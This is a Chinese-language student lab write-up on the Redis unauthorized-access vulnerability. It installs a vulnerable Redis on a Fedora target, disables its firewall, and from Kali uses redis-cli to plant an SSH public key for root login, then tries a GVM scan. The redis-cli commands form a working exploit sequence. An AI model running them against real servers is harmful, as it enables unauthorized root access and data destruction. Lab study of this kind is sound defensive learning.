redis未授权访问漏洞学习

redis未授权访问漏洞学习

文章目录

  • redis未授权访问漏洞学习
    • 一.了解redis
      • 1 redis是什么(需要了解一下什么是mysql)
      • 2 redis 未授权访问是什么漏洞?
    • 二 分析漏洞原理
      • 1 redis 未授权访问漏洞产生的原因是什么?
      • 2.一个系统存在这个漏洞会导致什么后果
    • 三、漏洞的重现和利用
    • 1/2 安装 redis&redis处于漏洞状态
      • 1.1首先在fedora上面安装redis
      • 1.2 在kali上面安装redis
    • 3 安装 ssh 服务端
    • 4 / 5开启 ssh 公钥登录,并验证是否正确开启
    • 6 试分析如果公司服务器存在这种漏洞,会对公司有什么影响?
  • 四 使用 gvm对该存在漏洞的系统进行扫描
    • 1.查看扫描结果,是否能得到对该漏洞的报告?
    • 2.了解 gvm 使用的各种插件,即 nvt 是什么?

一.了解redis

1 redis是什么(需要了解一下什么是mysql)

Redis是一个键值(key-value)类型的nosql数据库。
为什么需要Redis
可以看出redis和mysql有非常大的区别,主要体现在数据结构和存储方式上。

mysql是关系型数据库,存储数据前必须明确定义表结构和数据类型,数据之间可以存在关联关系,而redis中并不需要提前定义数据模型,随时可以添加新的结构到数据库中,redis也不能维护数据间的关系;

非关系型数据库优势:

  • 性能好,存取速度优于关系型数据库
  • 存储的数据,通常不具备固定结构,数据结构灵活,key-value形式来存储。
  • 可以用来做缓存,减少对数据库的访问

2 redis 未授权访问是什么漏洞?

前言
传统数据库都是持久化存储到硬盘中,所以执行某些业务时传统数据库并不是很理想。redis等数据存储在内存中的数据库就应允而生了。基于内存的Redis读速度是110000次/s,写速度是81000次/s 。但是基于内存的缺点就是断电即失,如果服务器产生了意外,内存中的数据就会全部丢失,企业使用redis就冒着很大的风险。所以redis支持持久化存储(rbd与aof),在满足一定条件的情况下会自动保存到硬盘或者通过命令手动保存到硬盘。
上面的一切都很美好,直到一群搞安全的人发现redis中的默认配置是空口令(可以远程登录直接读取服务器内存中的数据),然后进入redis中发现可以手动更改持久化存储的路径和文件名(这样就可以在指定的路径写入某些的特殊的内容)--------->redis未授权访问漏洞就诞生了。

二 分析漏洞原理

1 redis 未授权访问漏洞产生的原因是什么?

漏洞产生条件:

  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  2. 没有设置密码认证(默认为空),可以免密码远程登录redis服务。

2.一个系统存在这个漏洞会导致什么后果

文件写入原理
因为redis-cli远程连接redis之后,除了可以查看内存中的键值对外还可以通过config set dir xxx、config set dbfilename xxx等命令,在权限足够的情况下可以实现在任意路径写入任意内容。如果将dbfilename指定到web网站的某个目录下通过写入特定内容 生成webshell,如果将dbfilename指定为ssh公钥存放的目录,这样就产生了ssh远程登录的漏洞…
漏洞危害:

  1. 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件(webshell);
  3. 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
    本文将复现这一最严重的情况

三、漏洞的重现和利用

环境:

靶机:feora
攻击机:kali

1/2 安装 redis&redis处于漏洞状态

1.1首先在fedora上面安装redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译

redis未授权访问漏洞学习_第1张图片
redis未授权访问漏洞学习_第2张图片

tar xzvf redis-2.8.17.tar.gz  #解压安装包
cd redis-2.8.17  # 进入redis目录
make #编译
make编译时出现找不到cc的情况,
或是出现In file included from adlist.c:34:0:
zmalloc.h:50:31: fatal error: jemalloc/jemalloc.h: No such file or directory情况

解决方法:
yum -y install gcc gcc-c++ libstdc++-devel
make MALLOC=libc

cd src/ #进入src目录 
cp redis-server /usr/bin/ 
cp redis-cli /usr/bin/      #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd ..   # 返回上一级目录
cp redis.conf /etc/     #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf  # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

redis未授权访问漏洞学习_第3张图片
表示redis启动成功,
这里要注意,在后面我们连接靶机的redis是需要注意redis要启动的

检验是否启动成功的命令:

ps -ef|grep redis-server

redis未授权访问漏洞学习_第4张图片

1.2 在kali上面安装redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -zxvf redis-2.8.17.tar.gz redis-2.8.17/
cd redis-2.8.17/
make&make install

下载好了之后就可以在kali上面尝试连接靶机的redis了
redis未授权访问漏洞学习_第5张图片
连接的时候可能会出现不能连接的现象,关闭靶机fedora的防火墙,个人感觉像是在这里就出现了漏洞。(这样就可以两个电脑的redis连接起来了)

su root
cd /bin
systemctl stop firewalld.service     //关闭防火墙
systemctl disable firewalld.service    //关闭防火墙自启动
systemctl status firewalld.service    //查看防火墙服务状态


  • 到这里,相当于攻击机kali就可以利用redis来连接到靶机,然后就可以通过在靶机的redis目录作为一个入口,进而向靶机传输一些内容。

3 安装 ssh 服务端

  • 在kali上下载ssh的教程

redis未授权访问漏洞学习_第6张图片
同样,因为ssh是一个可以避免中间人攻击的协议
所以我们需要在fedora上下载ssh
正常下载即可,不在赘述。

  • 在这里比较重要的一点是去了解ssh协议是什么,便于对后面这个过程公钥私钥的理解,非常重要。通过redis这个可以访问到靶机的入口,我们将ssh生成的公钥送到靶机上面,这样我们就可以通过ssh访问靶机了,然后就是前文提到的最危险的情况。

4 / 5开启 ssh 公钥登录,并验证是否正确开启

  • 在kali上面生成公钥
    redis未授权访问漏洞学习_第7张图片
  • 将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

redis未授权访问漏洞学习_第8张图片

  • 再把key.txt文件内容写入redis缓冲
 cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub

redis未授权访问漏洞学习_第9张图片

  • 远程登录靶机的redis服务:

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
这里会出现一个问题,就是我们需要配置一下靶机的ssh,否则我们将不能更改到.ssh的路径中去。
参考文献

https://blog.csdn.net/sinat_27873735/article/details/120363565

本过程命令请见下图。
redis未授权访问漏洞学习_第10张图片
然后在攻击机上登录靶机
redis未授权访问漏洞学习_第11张图片
在这里插入图片描述
在这里插入图片描述
这里也是需要配置的,参考文献

https://blog.csdn.net/weixin_39568083/article/details/116692444?spm=1001.2014.3001.5506

redis未授权访问漏洞学习_第12张图片
redis未授权访问漏洞学习_第13张图片
redis未授权访问漏洞学习_第14张图片
redis未授权访问漏洞学习_第15张图片
在这里插入图片描述
redis未授权访问漏洞学习_第16张图片
redis未授权访问漏洞学习_第17张图片
如红圈所示,我们已经成功写入文件到靶机了。

6 试分析如果公司服务器存在这种漏洞,会对公司有什么影响?

可能导致敏感信息泄露,丢失所有数据
如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害者服务器

四 使用 gvm对该存在漏洞的系统进行扫描

1.查看扫描结果,是否能得到对该漏洞的报告?

redis未授权访问漏洞学习_第18张图片
扫描了几个任务,但是还是没有出现漏洞,貌似是gvm的问题?我有点不解。。。。。

2.了解 gvm 使用的各种插件,即 nvt 是什么?

类似说当我扫描到漏洞,在gvm的nvt是有对应的一个id的,这样就可以给出现的漏洞进行一个命名了,这个是一个反向表述,正向表述就是,在nvt中有好多的漏洞,我们去扫描,对应到了nvt中的,就是说明存在相应漏洞。

  • 侵权必删。
  • 如果引用请标明出处。
  • 欢迎大家指正!

你可能感兴趣的:(redis,学习,数据库)